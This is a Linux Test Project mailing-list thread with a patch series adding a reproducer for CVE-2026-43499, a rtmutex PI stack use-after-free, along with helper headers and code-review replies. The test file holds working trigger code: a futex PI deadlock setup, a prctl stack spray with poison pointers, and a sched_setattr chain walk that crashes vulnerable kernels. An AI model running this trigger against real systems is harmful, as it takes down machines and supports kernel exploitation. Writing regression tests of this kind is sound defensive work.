[LTP] [PATCH v6 0/3] Reproducer for ghostlock

[LTP] [PATCH v6 0/3] Reproducer for ghostlock

[Andrea Cervesato]

Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
rtmutex PI code, fixed in kernel v7.1:
3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.

Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro
3.1 Max.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v6:
- drop const from sched_setattr() and safe_sched_setattr() prototypes to match glibc 2.41+
- add kernel-doc comment for SAFE_SCHED_SETATTR()
- fix struct prctl_mm_map fallback guard in lapi/prctl.h
- validate futex_wait_requeue_pi() outcome before waking spray checkpoint
- sort ghostlock entry in testcases/cve/.gitignore
- Link to v5: https://lore.kernel.org/20260902-cve-ghostlock-v5-0-569b9eb37941@suse.com

Changes in v5:
- reduced synchronization checkpoints from 5 to 3
- introduced and used SAFE_SCHED_SETATTR() in lapi/sched.h
- dropped unused PR_SET_MM_MAP_SIZE probe in setup()
- fixed duplicated -pthread entry in Makefile
- fixed CVE numerical ordering in runtest/cve
- Link to v4: https://lore.kernel.org/20260826-cve-ghostlock-v4-0-52ec94d6635f@suse.com

Changes in v4:
- handle runtime inside the test
- increase futext wait so we don't TBROK before runtime
- comment prctl() syscall
- move static vars out of the run function
- Link to v3: https://lore.kernel.org/20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com

Changes in v3:
- improve sync mechanism
- fix lapi imports
- Link to v2: https://lore.kernel.org/20260803-cve-ghostlock-v2-0-b60588853140@suse.com

Changes in v2:
- fix build
- fix 32bit run
- Link to v1: https://lore.kernel.org/20260801-cve-ghostlock-v1-0-178f698f9702@suse.com

---
Andrea Cervesato (3):
      lapi/sched: add SAFE_SCHED_SETATTR()
      lapi/prctl: add more fallback definitions
      cve: add CVE-2026-43499 reproducer

 configure.ac              |   2 +
 include/lapi/prctl.h      |  26 +++++
 include/lapi/sched.h      |  31 +++++-
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 246 ++++++++++++++++++++++++++++++++++++++++++++++
 7 files changed, 307 insertions(+), 2 deletions(-)
---
base-commit: 12724413534a6d4160ff9694ba6f09daa4ccb6bd
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


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[LTP] [PATCH v6 1/3] lapi/sched: add SAFE_SCHED_SETATTR()

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add a safe variant of sched_setattr() that breaks the test with TBROK
on failure, so tests such as the CVE-2026-43499 reproducer do not have
to open-code the TEST() + tst_brk() error handling.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 include/lapi/sched.h | 31 ++++++++++++++++++++++++++++++-
 1 file changed, 30 insertions(+), 1 deletion(-)

diff --git a/include/lapi/sched.h b/include/lapi/sched.h
index 05b322c1c..b068cecbb 100644
--- a/include/lapi/sched.h
+++ b/include/lapi/sched.h
@@ -34,7 +34,7 @@ struct sched_attr {
 	uint64_t sched_period;
 };
 
-static inline int sched_setattr(pid_t pid, const struct sched_attr *attr,
+static inline int sched_setattr(pid_t pid, struct sched_attr *attr,
                                 unsigned int flags)
 {
 	return syscall(__NR_sched_setattr, pid, attr, flags);
@@ -169,4 +169,33 @@ static inline int getcpu(unsigned *cpu, unsigned *node)
 # define CLONE_INTO_CGROUP 0x200000000ULL
 #endif
 
+static inline int safe_sched_setattr(const char *file, const int lineno,
+				     pid_t pid, struct sched_attr *attr,
+				     unsigned int flags)
+{
+	int ret;
+
+	ret = sched_setattr(pid, attr, flags);
+
+	if (ret == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"sched_setattr(%i) failed", pid);
+	}
+
+	return ret;
+}
+
+/**
+ * SAFE_SCHED_SETATTR() - Safe wrapper for sched_setattr().
+ * @pid: Target process or thread ID (0 for caller).
+ * @attr: Pointer to a sched_attr structure.
+ * @flags: Flags modifying the scheduling behavior.
+ *
+ * Calls sched_setattr() and breaks the test with TBROK | TERRNO on failure.
+ *
+ * Return: Zero on success.
+ */
+#define SAFE_SCHED_SETATTR(pid, attr, flags)\
+	safe_sched_setattr(__FILE__, __LINE__, (pid), (attr), (flags))
+
 #endif /* LAPI_SCHED_H__ */

-- 
2.51.0


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Re: [LTP] [PATCH v6 1/3] lapi/sched: add SAFE_SCHED_SETATTR()

[Andrea Cervesato via ltp]

Hi Cyril,

> -static inline int sched_setattr(pid_t pid, const struct sched_attr *attr,
> +static inline int sched_setattr(pid_t pid, struct sched_attr *attr,
>                                  unsigned int flags)
>  {
>  	return syscall(__NR_sched_setattr, pid, attr, flags);
> @@ -169,4 +169,33 @@ static inline int getcpu(unsigned *cpu, unsigned *node)
>  # define CLONE_INTO_CGROUP 0x200000000ULL
>  #endif
>  
> +static inline int safe_sched_setattr(const char *file, const int lineno,
> +				     pid_t pid, struct sched_attr *attr,
> +				     unsigned int flags)
> +{
> +	int ret;
> +
> +	ret = sched_setattr(pid, attr, flags);
> +
> +	if (ret == -1) {
> +		tst_brk_(file, lineno, TBROK | TERRNO,
> +			"sched_setattr(%i) failed", pid);
> +	}
> +
> +	return ret;
> +}
> +
> +/**
> + * SAFE_SCHED_SETATTR() - Safe wrapper for sched_setattr().
> + * @pid: Target process or thread ID (0 for caller).
> + * @attr: Pointer to a sched_attr structure.
> + * @flags: Flags modifying the scheduling behavior.
> + *
> + * Calls sched_setattr() and breaks the test with TBROK | TERRNO on failure.
> + *
> + * Return: Zero on success.
> + */
> +#define SAFE_SCHED_SETATTR(pid, attr, flags)\
> +	safe_sched_setattr(__FILE__, __LINE__, (pid), (attr), (flags))
> +
>  #endif /* LAPI_SCHED_H__ */

the header is used by sched_setattr01, so I can't include the SAFE_*
definition in here, which is the right place, since we are trying to
move them into the related headers. It causes a build failure due to
the old vs. new API mix. I will send a new patch-set with the
sched_setattr01 rewrite.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

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Re: [LTP] lapi/sched: add SAFE_SCHED_SETATTR()

[linuxtestproject.agent]

Hi Andrea,

On Sep 3, 2026, Andrea Cervesato wrote:
> lapi/sched: add SAFE_SCHED_SETATTR()

--- [PATCH 1/3] ---

> + * SAFE_SCHED_SETATTR() - Safe wrapper for sched_setattr().

linuxdoc requires macro names without the function suffix. Use
`SAFE_SCHED_SETATTR - Safe wrapper for sched_setattr().`

--- [PATCH 2/3] ---

> +struct prctl_mm_map {

This new public structure needs a kernel-doc comment with a
`struct prctl_mm_map` summary and entries for its members.

--- [PATCH 3/3] ---

> +	futex_lock_pi(&f_pi_chain);
> +
> +	TST_CHECKPOINT_WAKE(CP_CHAIN_HELD);

FUTEX_LOCK_PI can return ENOSYS at runtime, after which this checkpoint
incorrectly announces that the lock is held. Check all lock and unlock
calls, report ENOSYS as TCONF, and abort on other unexpected errors.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

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[LTP] [PATCH v6 2/3] lapi/prctl: add more fallback definitions

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add the following fallback definitions:

- PR_SET_MM
- PR_SET_MM_MAP
- PR_SET_MM_MAP_SIZE
- struct prctl_mm_map

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 configure.ac         |  2 ++
 include/lapi/prctl.h | 26 ++++++++++++++++++++++++++
 2 files changed, 28 insertions(+)

diff --git a/configure.ac b/configure.ac
index 19fc5e1b8..052b83e04 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
 
 AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
 
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>])
+
 AC_CHECK_TYPES([struct sockaddr_vm],,,[
 #include <sys/socket.h>
 #include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32..f45810fe0 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,7 +7,9 @@
 #ifndef LAPI_PRCTL_H__
 #define LAPI_PRCTL_H__
 
+#include <stdint.h>
 #include <sys/prctl.h>
+#include "config.h"
 
 #ifndef PR_SET_NAME
 # define PR_SET_NAME 15
@@ -59,4 +61,28 @@
 # define PR_SET_SPECULATION_CTRL 53
 #endif
 
+#ifndef PR_SET_MM
+# define PR_SET_MM		35
+#endif
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP	14
+#endif
+#ifndef PR_SET_MM_MAP_SIZE
+# define PR_SET_MM_MAP_SIZE	15
+#endif
+
+#ifndef HAVE_STRUCT_PRCTL_MM_MAP
+struct prctl_mm_map {
+	uint64_t start_code, end_code;
+	uint64_t start_data, end_data;
+	uint64_t start_brk, brk;
+	uint64_t start_stack;
+	uint64_t arg_start, arg_end;
+	uint64_t env_start, env_end;
+	uint64_t *auxv;
+	uint32_t auxv_size;
+	uint32_t exe_fd;
+};
+#endif
+
 #endif /* LAPI_PRCTL_H__ */

-- 
2.51.0


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[LTP] [PATCH v6 3/3] cve: add CVE-2026-43499 reproducer

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add "Ghostlock" reproducer for CVE-2026-43499.

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).

Beware, this test will crash the system on a vulnerable kernel.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 246 ++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 249 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index b096bacef..894863e33 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -88,6 +88,7 @@ cve-2023-1829 tcindex01
 cve-2023-0461 setsockopt10
 cve-2023-31248 nft02
 cve-2023-52879 fanotify25
+cve-2026-43499 ghostlock
 cve-2026-53362 setsockopt11
 cve-2026-64600 refluxfs
 # Tests below may cause kernel memory leak
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index a167a8743..418d67566 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,5 +16,6 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+ghostlock
 refluxfs
 sctphantom
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 6be4999a3..b4e4178eb 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock refluxfs:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 000000000..0e6becc26
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,246 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ *   pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack continuously via :manpage:`prctl(2)` (PR_SET_MM_MAP)
+ *   with non-canonical addresses while main thread calls :manpage:`sched_setattr(2)`
+ *   on the waiter to trigger a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ *   kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_SPRAYED 2
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+static tst_atomic_t stop_spray;
+
+static const int try_sizes[] = {
+	MAX_AUXV_WORDS,
+	MAX_AUXV_WORDS - 4,
+	MAX_AUXV_WORDS - 8
+};
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+				 struct timespec *ts)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+			   uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+			   uaddr2, 0);
+}
+
+static int futex_lock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
+}
+
+static int futex_unlock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct timespec ts;
+	struct prctl_mm_map mm_map = {
+		.start_code  = (uint64_t)(uintptr_t)&waiter_fn,
+		.end_code    = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
+		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
+		.brk         = (uint64_t)(uintptr_t)sbrk(0),
+		.start_stack = (uint64_t)(uintptr_t)&mm_map,
+		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
+		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
+		.env_start   = (uint64_t)(uintptr_t)&mm_map,
+		.env_end     = (uint64_t)(uintptr_t)&mm_map,
+		.auxv        = (void *)auxv,
+		.auxv_size   = valid_auxv_size,
+		.exe_fd      = (uint32_t)-1,
+	};
+
+	waiter_tid = tst_syscall(__NR_gettid);
+
+	futex_lock_pi(&f_pi_chain);
+
+	TST_CHECKPOINT_WAKE(CP_CHAIN_HELD);
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+	if (futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts) != -1 ||
+	    (errno != ETIMEDOUT && errno != EWOULDBLOCK && errno != EDEADLK))
+		tst_brk(TBROK | TERRNO, "futex_wait_requeue_pi() failed unexpectedly");
+
+	TST_CHECKPOINT_WAKE(CP_SPRAYED);
+
+	while (!tst_atomic_load(&stop_spray)) {
+		/* This is the syscall that poison the buffer and it might
+		 * fail, so we don't use the SAFE_* variant.
+		 */
+		prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+		      sizeof(mm_map), 0);
+	}
+
+	futex_unlock_pi(&f_pi_chain);
+
+	return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	owner_tid = tst_syscall(__NR_gettid);
+
+	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+	futex_lock_pi(&f_pi_target);
+	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+	futex_lock_pi(&f_pi_chain);
+
+	futex_unlock_pi(&f_pi_chain);
+	futex_unlock_pi(&f_pi_target);
+
+	return NULL;
+}
+
+static void setup(void)
+{
+	struct prctl_mm_map map = {
+		.exe_fd = (uint32_t)-1,
+		.auxv = (void *)auxv,
+	};
+	unsigned int i;
+
+	for (i = 0; i < MAX_AUXV_WORDS; i++)
+		auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+	map.start_code = map.start_data = map.end_data =
+	map.start_brk = map.brk = map.start_stack = map.arg_start =
+	map.arg_end = map.env_start = map.env_end = (uint64_t)(uintptr_t)&map;
+	map.end_code = map.start_code + 0x1000;
+
+	for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+		valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+		map.auxv_size = valid_auxv_size;
+
+		if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+			break;
+	}
+
+	if (i == ARRAY_SIZE(try_sizes))
+		tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+	tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+	pthread_t waiter_th, owner_th;
+	struct sched_attr attr = {
+		.size = sizeof(attr),
+		.sched_policy = SCHED_BATCH,
+		.sched_nice = 19,
+	};
+	int i;
+
+	tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+	for (i = 0; i < ATTEMPTS; i++) {
+		if (!tst_remaining_runtime())
+			break;
+
+		f_wait = 0;
+		f_pi_target = 0;
+		f_pi_chain = 0;
+		tst_atomic_store(0, &stop_spray);
+
+		SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+		SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+		TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+		TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000);
+		TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000);
+
+		TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+		if (TST_RET != -1 || TST_ERR != EDEADLK)
+			tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+		TST_CHECKPOINT_WAIT2(CP_SPRAYED, 18000);
+
+		SAFE_SCHED_SETATTR(waiter_tid, &attr, 0);
+
+		tst_atomic_store(1, &stop_spray);
+
+		SAFE_PTHREAD_JOIN(waiter_th, NULL);
+		SAFE_PTHREAD_JOIN(owner_th, NULL);
+	}
+
+	if (i < ATTEMPTS)
+		tst_res(TINFO, "Runtime exhausted, executed %d/%d attempts", i, ATTEMPTS);
+
+	tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", i);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.runtime = 180,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		"CONFIG_FUTEX_PI=y",
+		NULL
+	},
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3bfdc63936dd"},
+		{"CVE", "2026-43499"},
+		{}
+	},
+};

-- 
2.51.0


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[LTP] [PATCH v5 1/3] lapi/sched: add SAFE_SCHED_SETATTR()

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add a safe variant of sched_setattr() that breaks the test with TBROK
on failure, so tests such as the CVE-2026-43499 reproducer do not have
to open-code the TEST() + tst_brk() error handling.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 include/lapi/sched.h | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/include/lapi/sched.h b/include/lapi/sched.h
index 05b322c1c..6b49a1cda 100644
--- a/include/lapi/sched.h
+++ b/include/lapi/sched.h
@@ -169,4 +169,23 @@ static inline int getcpu(unsigned *cpu, unsigned *node)
 # define CLONE_INTO_CGROUP 0x200000000ULL
 #endif
 
+static inline int safe_sched_setattr(const char *file, const int lineno,
+				     pid_t pid, const struct sched_attr *attr,
+				     unsigned int flags)
+{
+	int ret;
+
+	ret = sched_setattr(pid, attr, flags);
+
+	if (ret == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"sched_setattr(%i) failed", pid);
+	}
+
+	return ret;
+}
+
+#define SAFE_SCHED_SETATTR(pid, attr, flags)\
+	safe_sched_setattr(__FILE__, __LINE__, (pid), (attr), (flags))
+
 #endif /* LAPI_SCHED_H__ */

-- 
2.51.0


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Re: [LTP] lapi/sched: add SAFE_SCHED_SETATTR()

[linuxtestproject.agent]

Hi Andrea,

On Sep 2, 2026, Andrea Cervesato wrote:
> lapi/sched: add SAFE_SCHED_SETATTR()

--- [PATCH 1/3] ---

> static inline int safe_sched_setattr(const char *file, const int lineno,
> 				     pid_t pid, const struct sched_attr *attr,
> 				     unsigned int flags)
> {
> 	int ret;
>
> 	ret = sched_setattr(pid, attr, flags);

glibc's sched_setattr() takes a non-const struct sched_attr pointer, so this
discards const and fails with -Werror=discarded-qualifiers on the new glibc
API. Match that prototype here and in the fallback declaration.

> #define SAFE_SCHED_SETATTR(pid, attr, flags)\
> 	safe_sched_setattr(__FILE__, __LINE__, (pid), (attr), (flags))

This new public macro needs a kernel-doc comment documenting its arguments
and failure behavior.

--- [PATCH 2/3] ---

> #ifndef PR_SET_MM_MAP
> # define PR_SET_MM_MAP	14
> #endif
> #ifndef PR_SET_MM_MAP_SIZE
> # define PR_SET_MM_MAP_SIZE	15
> #endif
>
> #if !(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP)
> struct prctl_mm_map {

The fallback struct is unreachable when needed because PR_SET_MM_MAP is
defined immediately before the condition. Gate it solely on
HAVE_STRUCT_PRCTL_MM_MAP, otherwise the new CVE test fails to compile on
systems lacking the struct.

--- [PATCH 3/3] ---

> static struct tst_test test = {
> 	.setup = setup,
> 	.test_all = run,
> 	.runtime = 180,
> 	.needs_checkpoints = 1,

PR_SET_MM_MAP was added in Linux 3.18. Add .min_kver = "3.18"; otherwise
3.3--3.17 kernels with both requested configs reach setup and report TBROK
for the unsupported operation.

> 	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
> 	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
> 	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
>
> 	TST_CHECKPOINT_WAKE(CP_SPRAYED);

The futex result is ignored, so expiry or another failure publishes
CP_SPRAYED without establishing the PI topology and causes a spurious TBROK.
Use an untimed blocking wait, or validate the result before the wake.

> refluxfs
> sctphantom
> ghostlock

Keep the new .gitignore entry sorted by placing ghostlock before refluxfs.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

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Re: [LTP] lapi/sched: add SAFE_SCHED_SETATTR()

[Andrea Cervesato via ltp]

> PR_SET_MM_MAP was added in Linux 3.18. Add .min_kver = "3.18"; otherwise
> 3.3--3.17 kernels with both requested configs reach setup and report TBROK
> for the unsupported operation.

This can be ignored, the rest is valid. I will send a new version

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

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